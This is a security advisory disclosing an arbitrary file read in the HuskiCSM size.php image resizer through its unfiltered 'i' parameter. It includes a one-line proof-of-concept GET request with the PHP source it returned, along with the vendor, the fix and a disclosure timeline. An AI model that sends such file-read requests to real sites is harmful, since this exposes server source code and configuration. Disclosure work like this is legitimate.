HuskiCSM local file read

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Vulnerability description

A conditional file read exists in the image resizing script size.php’s i parameter. The parameter is not filtered and allows arbitrary files to be read.

Discovered by: Eldar “Wireghoul” Marcussen
Vendor: ASCET Interactive - http://www.ascetinteractive.com
Affected versions: Unknown

Proof of Concept

~$ GET 'http://[target]/size.php?i=index.php'
<?php
    header ('Content-Type: text/html; charset=utf-8');
    // Data Includes
    include_once "PHPLib/db_mysql.inc";
    include_once "Data/dbConnection.class.php";
    include_once "Data/dbConfig.class.php";
    include_once "Data/dataAdapter.class.php";
    include_once "Quicksite/Core/domxml.class.php";


    // Quicksite Core Includes
    include_once "Quicksite/Core/all.inc.php";
    
    // Configuration
    include_once "Quicksite/db.config.php";
    include_once "inc/vars.config.php";

    // Initialise the Site
    $site = new Site($_VARS['site']);
    print_r($_SESSION['login']);
    // Initialise the Page
    $page = new Page($site, $_GET['id'], array_merge($_POST, $_GET));

    // Load plugin sources
    $page->loadPluginSources();
    
    // Create the Page
    $page->createPage();
    
    echo $page->Result;
?>

Solution

Upgrade to a more recent version

Disclosure time line

05-Feb-2010 - Public disclosure
29-Jan-2010 - Vendor acknowledge vulnerability
28-Jan-2010 - Vendor notified through email